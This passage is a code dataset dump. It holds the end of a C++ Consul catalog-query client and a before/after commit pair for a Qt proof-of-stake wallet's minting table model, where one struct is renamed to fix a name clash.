\"\/v1\/catalog\/nodes\";\n  if (!data_center.empty())\n  {\n    url = url.append(\"?dc=\");\n    url = url.append(data_center);\n  }\n  return query(url);\n}\n\nstd::string ConsulAdmin::services_dc(std::string data_center)\n{\n  std::string url = \"\/v1\/catalog\/services\";\n  if (!data_center.empty())\n  {\n    url = url.append(\"?dc=\");\n    url = url.append(data_center);\n  }\n  return query(url);\n}\n\nstd::string ConsulAdmin::nodes_service(std::string service)\n{\n  std::string url = \"\/v1\/catalog\/service\/\";\n  url = url.append(service);\n  return query(url);\n}\n\nstd::string ConsulAdmin::services_node(std::string node, std::string data_center)\n{\n  std::string url = \"\/v1\/catalog\/node\/\";\n  url = url.append(node);\n  if (!data_center.empty())\n  {\n    url = url.append(\"?dc=\");\n    url = url.append(data_center);\n  }\n  return query(url);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <qt\/mintingtablemodel.h>\n#include <qt\/mintingfilterproxy.h>\n\n#include <kernelrecord.h>\n#include <qt\/transactiondesc.h>\n\n\/\/#include <qt\/guiutil.h>\n#include <qt\/walletmodel.h>\n#include <qt\/guiconstants.h>\n#include <qt\/bitcoinunits.h>\n#include <qt\/optionsmodel.h>\n#include <qt\/addresstablemodel.h>\n\n\n#include <util.h>\n#include <wallet\/wallet.h>\n#include <validation.h>\n\n#include <ui_interface.h>\n\n#include <QColor>\n#include <QTimer>\n\n\/\/ Amount column is right-aligned it contains numbers\nstatic int column_alignments[] = {\n        Qt::AlignLeft|Qt::AlignVCenter,\n        Qt::AlignLeft|Qt::AlignVCenter,\n        Qt::AlignRight|Qt::AlignVCenter,\n        Qt::AlignRight|Qt::AlignVCenter,\n        Qt::AlignRight|Qt::AlignVCenter,\n        Qt::AlignRight|Qt::AlignVCenter\n    };\n\n\/\/ Comparison operator for sort\/binary search of model tx list\nstruct TxLessThan\n{\n    bool operator()(const KernelRecord &a, const KernelRecord &b) const\n    {\n        return a.hash < b.hash;\n    }\n    bool operator()(const KernelRecord &a, const uint256 &b) const\n    {\n        return a.hash < b;\n    }\n    bool operator()(const uint256 &a, const KernelRecord &b) const\n    {\n        return a < b.hash;\n    }\n};\n\n\/\/ Private implementation\nclass MintingTablePriv\n{\npublic:\n    MintingTablePriv(CWallet *wallet, MintingTableModel *parent):\n            wallet(wallet),\n            parent(parent)\n    {\n    }\n    CWallet *wallet;\n    MintingTableModel *parent;\n\n    \/* Local cache of wallet.\n     * As it is in the same order as the CWallet, by definition\n     * this is sorted by sha256.\n     *\/\n    QList<KernelRecord> cachedWallet;\n\n    \/* Query entire wallet anew from core.\n     *\/\n    void refreshWallet()\n    {\n        LogPrintf(\"refreshWallet\\n\");\n        cachedWallet.clear();\n        {\n            \/\/ cs_main lock was added because GetDepthInMainChain requires it\n            LOCK2(cs_main, wallet->cs_wallet);\n            for(std::map<uint256, CWalletTx>::iterator it = wallet->mapWallet.begin(); it != wallet->mapWallet.end(); ++it)\n            {\n                std::vector<KernelRecord> txList = KernelRecord::decomposeOutput(wallet, it->second);\n                if(KernelRecord::showTransaction(it->second))\n                    for(const KernelRecord& kr : txList) {\n                        if(!kr.spent) {\n                            cachedWallet.append(kr);\n                        }\n                    }\n            }\n        }\n    }\n\n    \/* Update our model of the wallet incrementally, to synchronize our model of the wallet\n       with that of the core.\n\n       Call with transaction that was added, removed or changed.\n     *\/\n    void updateWallet(const uint256 &hash, int status)\n    {\n        LogPrintf(\"minting updateWallet %s %i\\n\", hash.ToString(), status);\n        {\n            LOCK2(cs_main, wallet->cs_wallet);\n\n            \/\/ Find transaction in wallet\n            std::map<uint256, CWalletTx>::iterator mi = wallet->mapWallet.find(hash);\n            bool inWallet = mi != wallet->mapWallet.end();\n\n            \/\/ Find bounds of this transaction in model\n            QList<KernelRecord>::iterator lower = qLowerBound(\n                cachedWallet.begin(), cachedWallet.end(), hash, TxLessThan());\n            QList<KernelRecord>::iterator upper = qUpperBound(\n                cachedWallet.begin(), cachedWallet.end(), hash, TxLessThan());\n            int lowerIndex = (lower - cachedWallet.begin());\n            int upperIndex = (upper - cachedWallet.begin());\n            bool inModel = (lower != upper);\n\n            \/\/ Determine whether to show transaction or not\n            bool showTransaction = (inWallet && KernelRecord::showTransaction(mi->second));\n\n            if(status == CT_UPDATED)\n            {\n                if(showTransaction && !inModel)\n                    status = CT_NEW; \/* Not in model, but want to show, treat as new *\/\n                if(!showTransaction && inModel)\n                    status = CT_DELETED; \/* In model, but want to hide, treat as deleted *\/\n            }\n\n            LogPrintf(\"   inWallet=%i inModel=%i Index=%i-%i showTransaction=%i derivedStatus=%i\\n\",\n                     inWallet, inModel, lowerIndex, upperIndex, showTransaction, status);\n\n            switch(status)\n            {\n            case CT_NEW:\n                if(inModel)\n                {\n                    LogPrintf(\"Warning: updateWallet: Got CT_NEW, but transaction is already in model\\n\");\n                    break;\n                }\n                if(!inWallet)\n                {\n                    LogPrintf(\"Warning: updateWallet: Got CT_NEW, but transaction is not in wallet\\n\");\n                    break;\n                }\n                if(showTransaction)\n                {\n                    \/\/ Added -- insert at the right position\n                    std::vector<KernelRecord> toInsert =\n                            KernelRecord::decomposeOutput(wallet, mi->second);\n                    if(toInsert.size() != 0) \/* only if something to insert *\/\n                    {\n                        parent->beginInsertRows(QModelIndex(), lowerIndex, lowerIndex+toInsert.size()-1);\n                        int insert_idx = lowerIndex;\n                        for (const KernelRecord &rec : toInsert)\n                        {\n                            if(!rec.spent)\n                            {\n                                cachedWallet.insert(insert_idx, rec);\n                                insert_idx += 1;\n                            }\n                        }\n                        parent->endInsertRows();\n                    }\n                }\n                break;\n            case CT_DELETED:\n                if(!inModel)\n                {\n                    LogPrintf(\"Warning: updateWallet: Got CT_DELETED, but transaction is not in model\\n\");\n                    break;\n                }\n                \/\/ Removed -- remove entire transaction from table\n                parent->beginRemoveRows(QModelIndex(), lowerIndex, upperIndex-1);\n                cachedWallet.erase(lower, upper);\n                parent->endRemoveRows();\n                break;\n            case CT_UPDATED:\n                \/\/ Updated -- remove spent coins from table\n                std::vector<KernelRecord> toCheck = KernelRecord::decomposeOutput(wallet, mi->second);\n                if(!toCheck.empty())\n                {\n                    for(const KernelRecord &rec : toCheck)\n                    {\n                        if(rec.spent)\n                        {\n                            for(int i = lowerIndex; i < upperIndex; i++)\n                            {\n                                KernelRecord cachedRec = cachedWallet.at(i);\n                                if((rec.address == cachedRec.address)\n                                   && (rec.nValue == cachedRec.nValue)\n                                   && (rec.idx == cachedRec.idx))\n                                {\n                                    parent->beginRemoveRows(QModelIndex(), i, i);\n                                    cachedWallet.removeAt(i);\n                                    parent->endRemoveRows();\n                                    break;\n                                }\n                            }\n                        }\n                    }\n                }\n                break;\n            }\n        }\n    }\n\n    int size()\n    {\n        return cachedWallet.size();\n    }\n\n    KernelRecord *index(int idx)\n    {\n        if(idx >= 0 && idx < cachedWallet.size())\n        {\n            KernelRecord *rec = &cachedWallet[idx];\n            return rec;\n        }\n        else\n        {\n            return 0;\n        }\n    }\n\n    QString describe(KernelRecord *rec)\n    {\n        {\n            LOCK(wallet->cs_wallet);\n            std::map<uint256, CWalletTx>::iterator mi = wallet->mapWallet.find(rec->hash);\n            if(mi != wallet->mapWallet.end())\n            {\n                return TransactionDesc::toHTML(wallet, mi->second, nullptr, BitcoinUnits::BTC);  \/\/ppcTODO - fix the last 2 parameters\n            }\n        }\n        return QString(\"\");\n    }\n\n};\n\nstruct TransactionNotification\n{\npublic:\n    TransactionNotification() {}\n    TransactionNotification(uint256 _hash, ChangeType _status):\n        hash(_hash), status(_status) {}\n\n    void invoke(QObject *ttm)\n    {\n        QString strHash = QString::fromStdString(hash.GetHex());\n        QMetaObject::invokeMethod(ttm, \"updateTransaction\", Qt::QueuedConnection,\n                                  Q_ARG(QString, strHash),\n                                  Q_ARG(int, status));\n    }\nprivate:\n    uint256 hash;\n    ChangeType status;\n};\n\nstatic void NotifyTransactionChanged(MintingTableModel *ttm, CWallet *wallet, const uint256 &hash, ChangeType status)\n{\n    TransactionNotification notification(hash, status);\n    notification.invoke(ttm);\n}\n\nMintingTableModel::MintingTableModel(CWallet* wallet, WalletModel *parent) :\n        QAbstractTableModel(parent),\n        wallet(wallet),\n        walletModel(parent),\n        mintingInterval(10),\n        priv(new MintingTablePriv(wallet, this)),\n        cachedNumBlocks(0)\n{\n    columns << tr(\"Transaction\") <<  tr(\"Address\") << tr(\"Age\") << tr(\"Balance\") << tr(\"CoinDay\") << tr(\"MintProbability\");\n\n    priv->refreshWallet();\n\n    QTimer *timer = new QTimer(this);\n    connect(timer, SIGNAL(timeout()), this, SLOT(updateAge()));\n    timer->start(MODEL_UPDATE_DELAY);\n\n    connect(walletModel->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit()));\n    wallet->NotifyTransactionChanged.connect(boost::bind(NotifyTransactionChanged, this, _1, _2, _3));\n}\n\nMintingTableModel::~MintingTableModel()\n{\n    wallet->NotifyTransactionChanged.disconnect(boost::bind(NotifyTransactionChanged, this, _1, _2, _3));\n    delete priv;\n}\n\nvoid MintingTableModel::updateTransaction(const QString &hash, int status)\n{\n    uint256 updated;\n    updated.SetHex(hash.toStdString());\n\n    priv->updateWallet(updated, status);\n    mintingProxyModel->invalidate(); \/\/ Force deletion of empty rows\n}\n\nvoid MintingTableModel::updateAge()\n{\n    Q_EMIT dataChanged(index(0, Age), index(priv->size()-1, Age));\n    Q_EMIT dataChanged(index(0, CoinDay), index(priv->size()-1, CoinDay));\n    Q_EMIT dataChanged(index(0, MintProbability), index(priv->size()-1, MintProbability));\n}\n\nvoid MintingTableModel::setMintingProxyModel(MintingFilterProxy *mintingProxy)\n{\n    mintingProxyModel = mintingProxy;\n}\n\nint MintingTableModel::rowCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    return priv->size();\n}\n\nint MintingTableModel::columnCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    return columns.length();\n}\n\nQVariant MintingTableModel::data(const QModelIndex &index, int role) const\n{\n    const Consensus::Params& params = Params().GetConsensus();\n    if(!index.isValid())\n        return QVariant();\n    KernelRecord *rec = static_cast<KernelRecord*>(index.internalPointer());\n\n    switch(role)\n    {\n      case Qt::DisplayRole:\n        switch(index.column())\n        {\n        case Address:\n            return formatTxAddress(rec, false);\n        case TxHash:\n            return formatTxHash(rec);\n        case Age:\n            return formatTxAge(rec);\n        case Balance:\n            return formatTxBalance(rec);\n        case CoinDay:\n            return formatTxCoinDay(rec);\n        case MintProbability:\n            return formatDayToMint(rec);\n        }\n        break;\n      case Qt::TextAlignmentRole:\n        return column_alignments[index.column()];\n        break;\n      case Qt::ToolTipRole:\n        switch(index.column())\n        {\n        case MintProbability:\n            int interval = this->mintingInterval;\n            QString unit = tr(\"minutes\");\n\n            int hours = interval \/ 60;\n            int days = hours  \/ 24;\n\n            if(hours > 1) {\n                interval = hours;\n                unit = tr(\"hours\");\n            }\n            if(days > 1) {\n                interval = days;\n                unit = tr(\"days\");\n            }\n\n            QString str = QString(tr(\"You have %1 chance to find a POS block if you mint %2 %3 at current difficulty.\"));\n            return str.arg(index.data().toString().toUtf8().constData()).arg(interval).arg(unit);\n        }\n        break;\n      case Qt::EditRole:\n        switch(index.column())\n        {\n        case Address:\n            return formatTxAddress(rec, false);\n        case TxHash:\n            return formatTxHash(rec);\n        case Age:\n            return qint64(rec->getAge());\n        case CoinDay:\n            return qint64(rec->coinAge);\n        case Balance:\n            return qint64(rec->nValue);\n        case MintProbability:\n            return getDayToMint(rec);\n        }\n        break;\n      case Qt::BackgroundColorRole:\n        int minAge = params.nStakeMinAge \/ 60 \/ 60 \/ 24;\n        int maxAge = params.nStakeMaxAge \/ 60 \/ 60 \/ 24;\n        if(rec->getAge() < minAge)\n        {\n            return COLOR_MINT_YOUNG;\n        }\n        else if (rec->getAge() >= minAge && rec->getAge() < maxAge)\n        {\n            return COLOR_MINT_MATURE;\n        }\n        else\n        {\n            return COLOR_MINT_OLD;\n        }\n        break;\n\n    }\n    return QVariant();\n}\n\nvoid MintingTableModel::setMintingInterval(int interval)\n{\n    mintingInterval = interval;\n}\n\nQString MintingTableModel::lookupAddress(const std::string &address, bool tooltip) const\n{\n    QString label = walletModel->getAddressTableModel()->labelForAddress(QString::fromStdString(address));\n    QString description;\n    if(!label.isEmpty())\n    {\n        description += label + QString(\" \");\n    }\n    if(label.isEmpty() || tooltip)\n    {\n        description += QString(\" (\") + QString::fromStdString(address) + QString(\")\");\n    }\n    return description;\n}\n\ndouble MintingTableModel::getDayToMint(KernelRecord *wtx) const\n{\n    const CBlockIndex *p = GetLastBlockIndex(chainActive.Tip(), true);\n    double difficulty = p->GetBlockDifficulty();\n\n    double prob = wtx->getProbToMintWithinNMinutes(difficulty, mintingInterval);\n    prob = prob * 100;\n    return prob;\n}\n\nQString MintingTableModel::formatDayToMint(KernelRecord *wtx) const\n{\n    double prob = getDayToMint(wtx);\n    return QString::number(prob, 'f', 6) + \"%\";\n}\n\nQString MintingTableModel::formatTxAddress(const KernelRecord *wtx, bool tooltip) const\n{\n    return QString::fromStdString(wtx->address);\n}\n\nQString MintingTableModel::formatTxHash(const KernelRecord *wtx) const\n{\n    return QString::fromStdString(wtx->hash.ToString());\n}\n\nQString MintingTableModel::formatTxCoinDay(const KernelRecord *wtx) const\n{\n    return QString::number(wtx->coinAge);\n}\n\nQString MintingTableModel::formatTxAge(const KernelRecord *wtx) const\n{\n    int64_t nAge = wtx->getAge();\n    return QString::number(nAge);\n}\n\nQString MintingTableModel::formatTxBalance(const KernelRecord *wtx) const\n{\n    return BitcoinUnits::format(walletModel->getOptionsModel()->getDisplayUnit(), wtx->nValue);\n}\n\nQVariant MintingTableModel::headerData(int section, Qt::Orientation orientation, int role) const\n{\n    if(orientation == Qt::Horizontal)\n    {\n        if(role == Qt::DisplayRole)\n        {\n            return columns[section];\n        }\n        else if (role == Qt::TextAlignmentRole)\n        {\n            return column_alignments[section];\n        } else if (role == Qt::ToolTipRole)\n        {\n            switch(section)\n            {\n            case Address:\n                return tr(\"Destination address of the output.\");\n            case TxHash:\n                return tr(\"Original transaction id.\");\n            case Age:\n                return tr(\"Age of the transaction in days.\");\n            case Balance:\n                return tr(\"Balance of the output.\");\n            case CoinDay:\n                return tr(\"Coin age in the output.\");\n            case MintProbability:\n                return tr(\"Chance to mint a block within given time interval.\");\n            }\n        }\n    }\n    return QVariant();\n}\n\nQModelIndex MintingTableModel::index(int row, int column, const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    KernelRecord *data = priv->index(row);\n    if(data)\n    {\n        return createIndex(row, column, priv->index(row));\n    }\n    else\n    {\n        return QModelIndex();\n    }\n}\n\nvoid MintingTableModel::updateDisplayUnit()\n{\n    \/\/ emit dataChanged to update Balance column with the current unit\n    Q_EMIT dataChanged(index(0, Balance), index(priv->size()-1, Balance));\n}\n<commit_msg>fix conflicting struct name<commit_after>#include <qt\/mintingtablemodel.h>\n#include <qt\/mintingfilterproxy.h>\n\n#include <kernelrecord.h>\n#include <qt\/transactiondesc.h>\n\n\/\/#include <qt\/guiutil.h>\n#include <qt\/walletmodel.h>\n#include <qt\/guiconstants.h>\n#include <qt\/bitcoinunits.h>\n#include <qt\/optionsmodel.h>\n#include <qt\/addresstablemodel.h>\n\n\n#include <util.h>\n#include <wallet\/wallet.h>\n#include <validation.h>\n\n#include <ui_interface.h>\n\n#include <QColor>\n#include <QTimer>\n\n\/\/ Amount column is right-aligned it contains numbers\nstatic int column_alignments[] = {\n        Qt::AlignLeft|Qt::AlignVCenter,\n        Qt::AlignLeft|Qt::AlignVCenter,\n        Qt::AlignRight|Qt::AlignVCenter,\n        Qt::AlignRight|Qt::AlignVCenter,\n        Qt::AlignRight|Qt::AlignVCenter,\n        Qt::AlignRight|Qt::AlignVCenter\n    };\n\n\/\/ Comparison operator for sort\/binary search of model tx list\nstruct TxLessThan\n{\n    bool operator()(const KernelRecord &a, const KernelRecord &b) const\n    {\n        return a.hash < b.hash;\n    }\n    bool operator()(const KernelRecord &a, const uint256 &b) const\n    {\n        return a.hash < b;\n    }\n    bool operator()(const uint256 &a, const KernelRecord &b) const\n    {\n        return a < b.hash;\n    }\n};\n\n\/\/ Private implementation\nclass MintingTablePriv\n{\npublic:\n    MintingTablePriv(CWallet *wallet, MintingTableModel *parent):\n            wallet(wallet),\n            parent(parent)\n    {\n    }\n    CWallet *wallet;\n    MintingTableModel *parent;\n\n    \/* Local cache of wallet.\n     * As it is in the same order as the CWallet, by definition\n     * this is sorted by sha256.\n     *\/\n    QList<KernelRecord> cachedWallet;\n\n    \/* Query entire wallet anew from core.\n     *\/\n    void refreshWallet()\n    {\n        LogPrintf(\"refreshWallet\\n\");\n        cachedWallet.clear();\n        {\n            \/\/ cs_main lock was added because GetDepthInMainChain requires it\n            LOCK2(cs_main, wallet->cs_wallet);\n            for(std::map<uint256, CWalletTx>::iterator it = wallet->mapWallet.begin(); it != wallet->mapWallet.end(); ++it)\n            {\n                std::vector<KernelRecord> txList = KernelRecord::decomposeOutput(wallet, it->second);\n                if(KernelRecord::showTransaction(it->second))\n                    for(const KernelRecord& kr : txList) {\n                        if(!kr.spent) {\n                            cachedWallet.append(kr);\n                        }\n                    }\n            }\n        }\n    }\n\n    \/* Update our model of the wallet incrementally, to synchronize our model of the wallet\n       with that of the core.\n\n       Call with transaction that was added, removed or changed.\n     *\/\n    void updateWallet(const uint256 &hash, int status)\n    {\n        LogPrintf(\"minting updateWallet %s %i\\n\", hash.ToString(), status);\n        {\n            LOCK2(cs_main, wallet->cs_wallet);\n\n            \/\/ Find transaction in wallet\n            std::map<uint256, CWalletTx>::iterator mi = wallet->mapWallet.find(hash);\n            bool inWallet = mi != wallet->mapWallet.end();\n\n            \/\/ Find bounds of this transaction in model\n            QList<KernelRecord>::iterator lower = qLowerBound(\n                cachedWallet.begin(), cachedWallet.end(), hash, TxLessThan());\n            QList<KernelRecord>::iterator upper = qUpperBound(\n                cachedWallet.begin(), cachedWallet.end(), hash, TxLessThan());\n            int lowerIndex = (lower - cachedWallet.begin());\n            int upperIndex = (upper - cachedWallet.begin());\n            bool inModel = (lower != upper);\n\n            \/\/ Determine whether to show transaction or not\n            bool showTransaction = (inWallet && KernelRecord::showTransaction(mi->second));\n\n            if(status == CT_UPDATED)\n            {\n                if(showTransaction && !inModel)\n                    status = CT_NEW; \/* Not in model, but want to show, treat as new *\/\n                if(!showTransaction && inModel)\n                    status = CT_DELETED; \/* In model, but want to hide, treat as deleted *\/\n            }\n\n            LogPrintf(\"   inWallet=%i inModel=%i Index=%i-%i showTransaction=%i derivedStatus=%i\\n\",\n                     inWallet, inModel, lowerIndex, upperIndex, showTransaction, status);\n\n            switch(status)\n            {\n            case CT_NEW:\n                if(inModel)\n                {\n                    LogPrintf(\"Warning: updateWallet: Got CT_NEW, but transaction is already in model\\n\");\n                    break;\n                }\n                if(!inWallet)\n                {\n                    LogPrintf(\"Warning: updateWallet: Got CT_NEW, but transaction is not in wallet\\n\");\n                    break;\n                }\n                if(showTransaction)\n                {\n                    \/\/ Added -- insert at the right position\n                    std::vector<KernelRecord> toInsert =\n                            KernelRecord::decomposeOutput(wallet, mi->second);\n                    if(toInsert.size() != 0) \/* only if something to insert *\/\n                    {\n                        parent->beginInsertRows(QModelIndex(), lowerIndex, lowerIndex+toInsert.size()-1);\n                        int insert_idx = lowerIndex;\n                        for (const KernelRecord &rec : toInsert)\n                        {\n                            if(!rec.spent)\n                            {\n                                cachedWallet.insert(insert_idx, rec);\n                                insert_idx += 1;\n                            }\n                        }\n                        parent->endInsertRows();\n                    }\n                }\n                break;\n            case CT_DELETED:\n                if(!inModel)\n                {\n                    LogPrintf(\"Warning: updateWallet: Got CT_DELETED, but transaction is not in model\\n\");\n                    break;\n                }\n                \/\/ Removed -- remove entire transaction from table\n                parent->beginRemoveRows(QModelIndex(), lowerIndex, upperIndex-1);\n                cachedWallet.erase(lower, upper);\n                parent->endRemoveRows();\n                break;\n            case CT_UPDATED:\n                \/\/ Updated -- remove spent coins from table\n                std::vector<KernelRecord> toCheck = KernelRecord::decomposeOutput(wallet, mi->second);\n                if(!toCheck.empty())\n                {\n                    for(const KernelRecord &rec : toCheck)\n                    {\n                        if(rec.spent)\n                        {\n                            for(int i = lowerIndex; i < upperIndex; i++)\n                            {\n                                KernelRecord cachedRec = cachedWallet.at(i);\n                                if((rec.address == cachedRec.address)\n                                   && (rec.nValue == cachedRec.nValue)\n                                   && (rec.idx == cachedRec.idx))\n                                {\n                                    parent->beginRemoveRows(QModelIndex(), i, i);\n                                    cachedWallet.removeAt(i);\n                                    parent->endRemoveRows();\n                                    break;\n                                }\n                            }\n                        }\n                    }\n                }\n                break;\n            }\n        }\n    }\n\n    int size()\n    {\n        return cachedWallet.size();\n    }\n\n    KernelRecord *index(int idx)\n    {\n        if(idx >= 0 && idx < cachedWallet.size())\n        {\n            KernelRecord *rec = &cachedWallet[idx];\n            return rec;\n        }\n        else\n        {\n            return 0;\n        }\n    }\n\n    QString describe(KernelRecord *rec)\n    {\n        {\n            LOCK(wallet->cs_wallet);\n            std::map<uint256, CWalletTx>::iterator mi = wallet->mapWallet.find(rec->hash);\n            if(mi != wallet->mapWallet.end())\n            {\n                return TransactionDesc::toHTML(wallet, mi->second, nullptr, BitcoinUnits::BTC);  \/\/ppcTODO - fix the last 2 parameters\n            }\n        }\n        return QString(\"\");\n    }\n\n};\n\nstruct TransactionNotification2\n{\npublic:\n    TransactionNotification2() {}\n    TransactionNotification2(uint256 _hash, ChangeType _status):\n        hash(_hash), status(_status) {}\n\n    void invoke(QObject *ttm)\n    {\n        QString strHash = QString::fromStdString(hash.GetHex());\n        QMetaObject::invokeMethod(ttm, \"updateTransaction\", Qt::QueuedConnection,\n                                  Q_ARG(QString, strHash),\n                                  Q_ARG(int, status));\n    }\nprivate:\n    uint256 hash;\n    ChangeType status;\n};\n\nstatic void NotifyTransactionChanged(MintingTableModel *ttm, CWallet *wallet, const uint256 &hash, ChangeType status)\n{\n    TransactionNotification2 notification(hash, status);\n    notification.invoke(ttm);\n}\n\nMintingTableModel::MintingTableModel(CWallet* wallet, WalletModel *parent) :\n        QAbstractTableModel(parent),\n        wallet(wallet),\n        walletModel(parent),\n        mintingInterval(10),\n        priv(new MintingTablePriv(wallet, this)),\n        cachedNumBlocks(0)\n{\n    columns << tr(\"Transaction\") <<  tr(\"Address\") << tr(\"Age\") << tr(\"Balance\") << tr(\"CoinDay\") << tr(\"MintProbability\");\n\n    priv->refreshWallet();\n\n    QTimer *timer = new QTimer(this);\n    connect(timer, SIGNAL(timeout()), this, SLOT(updateAge()));\n    timer->start(MODEL_UPDATE_DELAY);\n\n    connect(walletModel->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit()));\n    wallet->NotifyTransactionChanged.connect(boost::bind(NotifyTransactionChanged, this, _1, _2, _3));\n}\n\nMintingTableModel::~MintingTableModel()\n{\n    wallet->NotifyTransactionChanged.disconnect(boost::bind(NotifyTransactionChanged, this, _1, _2, _3));\n    delete priv;\n}\n\nvoid MintingTableModel::updateTransaction(const QString &hash, int status)\n{\n    uint256 updated;\n    updated.SetHex(hash.toStdString());\n\n    priv->updateWallet(updated, status);\n    mintingProxyModel->invalidate(); \/\/ Force deletion of empty rows\n}\n\nvoid MintingTableModel::updateAge()\n{\n    Q_EMIT dataChanged(index(0, Age), index(priv->size()-1, Age));\n    Q_EMIT dataChanged(index(0, CoinDay), index(priv->size()-1, CoinDay));\n    Q_EMIT dataChanged(index(0, MintProbability), index(priv->size()-1, MintProbability));\n}\n\nvoid MintingTableModel::setMintingProxyModel(MintingFilterProxy *mintingProxy)\n{\n    mintingProxyModel = mintingProxy;\n}\n\nint MintingTableModel::rowCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    return priv->size();\n}\n\nint MintingTableModel::columnCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    return columns.length();\n}\n\nQVariant MintingTableModel::data(const QModelIndex &index, int role) const\n{\n    const Consensus::Params& params = Params().GetConsensus();\n    if(!index.isValid())\n        return QVariant();\n    KernelRecord *rec = static_cast<KernelRecord*>(index.internalPointer());\n\n    switch(role)\n    {\n      case Qt::DisplayRole:\n        switch(index.column())\n        {\n        case Address:\n            return formatTxAddress(rec, false);\n        case TxHash:\n            return formatTxHash(rec);\n        case Age:\n            return formatTxAge(rec);\n        case Balance:\n            return formatTxBalance(rec);\n        case CoinDay:\n            return formatTxCoinDay(rec);\n        case MintProbability:\n            return formatDayToMint(rec);\n        }\n        break;\n      case Qt::TextAlignmentRole:\n        return column_alignments[index.column()];\n        break;\n      case Qt::ToolTipRole:\n        switch(index.column())\n        {\n        case MintProbability:\n            int interval = this->mintingInterval;\n            QString unit = tr(\"minutes\");\n\n            int hours = interval \/ 60;\n            int days = hours  \/ 24;\n\n            if(hours > 1) {\n                interval = hours;\n                unit = tr(\"hours\");\n            }\n            if(days > 1) {\n                interval = days;\n                unit = tr(\"days\");\n            }\n\n            QString str = QString(tr(\"You have %1 chance to find a POS block if you mint %2 %3 at current difficulty.\"));\n            return str.arg(index.data().toString().toUtf8().constData()).arg(interval).arg(unit);\n        }\n        break;\n      case Qt::EditRole:\n        switch(index.column())\n        {\n        case Address:\n            return formatTxAddress(rec, false);\n        case TxHash:\n            return formatTxHash(rec);\n        case Age:\n            return qint64(rec->getAge());\n        case CoinDay:\n            return qint64(rec->coinAge);\n        case Balance:\n            return qint64(rec->nValue);\n        case MintProbability:\n            return getDayToMint(rec);\n        }\n        break;\n      case Qt::BackgroundColorRole:\n        int minAge = params.nStakeMinAge \/ 60 \/ 60 \/ 24;\n        int maxAge = params.nStakeMaxAge \/ 60 \/ 60 \/ 24;\n        if(rec->getAge() < minAge)\n        {\n            return COLOR_MINT_YOUNG;\n        }\n        else if (rec->getAge() >= minAge && rec->getAge() < maxAge)\n        {\n            return COLOR_MINT_MATURE;\n        }\n        else\n        {\n            return COLOR_MINT_OLD;\n        }\n        break;\n\n    }\n    return QVariant();\n}\n\nvoid MintingTableModel::setMintingInterval(int interval)\n{\n    mintingInterval = interval;\n}\n\nQString MintingTableModel::lookupAddress(const std::string &address, bool tooltip) const\n{\n    QString label = walletModel->getAddressTableModel()->labelForAddress(QString::fromStdString(address));\n    QString description;\n    if(!label.isEmpty())\n    {\n        description += label + QString(\" \");\n    }\n    if(label.isEmpty() || tooltip)\n    {\n        description += QString(\" (\") + QString::fromStdString(address) + QString(\")\");\n    }\n    return description;\n}\n\ndouble MintingTableModel::getDayToMint(KernelRecord *wtx) const\n{\n    const CBlockIndex *p = GetLastBlockIndex(chainActive.Tip(), true);\n    double difficulty = p->GetBlockDifficulty();\n\n    double prob = wtx->getProbToMintWithinNMinutes(difficulty, mintingInterval);\n    prob = prob * 100;\n    return prob;\n}\n\nQString MintingTableModel::formatDayToMint(KernelRecord *wtx) const\n{\n    double prob = getDayToMint(wtx);\n    return QString::number(prob, 'f', 6) + \"%\";\n}\n\nQString MintingTableModel::formatTxAddress(const KernelRecord *wtx, bool tooltip) const\n{\n    return QString::fromStdString(wtx->address);\n}\n\nQString MintingTableModel::formatTxHash(const KernelRecord *wtx) const\n{\n    return QString::fromStdString(wtx->hash.ToString());\n}\n\nQString MintingTableModel::formatTxCoinDay(const KernelRecord *wtx) const\n{\n    return QString::number(wtx->coinAge);\n}\n\nQString MintingTableModel::formatTxAge(const KernelRecord *wtx) const\n{\n    int64_t nAge = wtx->getAge();\n    return QString::number(nAge);\n}\n\nQString MintingTableModel::formatTxBalance(const KernelRecord *wtx) const\n{\n    return BitcoinUnits::format(walletModel->getOptionsModel()->getDisplayUnit(), wtx->nValue);\n}\n\nQVariant MintingTableModel::headerData(int section, Qt::Orientation orientation, int role) const\n{\n    if(orientation == Qt::Horizontal)\n    {\n        if(role == Qt::DisplayRole)\n        {\n            return columns[section];\n        }\n        else if (role == Qt::TextAlignmentRole)\n        {\n            return column_alignments[section];\n        } else if (role == Qt::ToolTipRole)\n        {\n            switch(section)\n            {\n            case Address:\n                return tr(\"Destination address of the output.\");\n            case TxHash:\n                return tr(\"Original transaction id.\");\n            case Age:\n                return tr(\"Age of the transaction in days.\");\n            case Balance:\n                return tr(\"Balance of the output.\");\n            case CoinDay:\n                return tr(\"Coin age in the output.\");\n            case MintProbability:\n                return tr(\"Chance to mint a block within given time interval.\");\n            }\n        }\n    }\n    return QVariant();\n}\n\nQModelIndex MintingTableModel::index(int row, int column, const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    KernelRecord *data = priv->index(row);\n    if(data)\n    {\n        return createIndex(row, column, priv->index(row));\n    }\n    else\n    {\n        return QModelIndex();\n    }\n}\n\nvoid MintingTableModel::updateDisplayUnit()\n{\n    \/\/ emit dataChanged to update Balance column with the current unit\n    Q_EMIT dataChanged(index(0, Balance), index(priv->size()-1, Balance));\n}\n<|endoftext|>"}
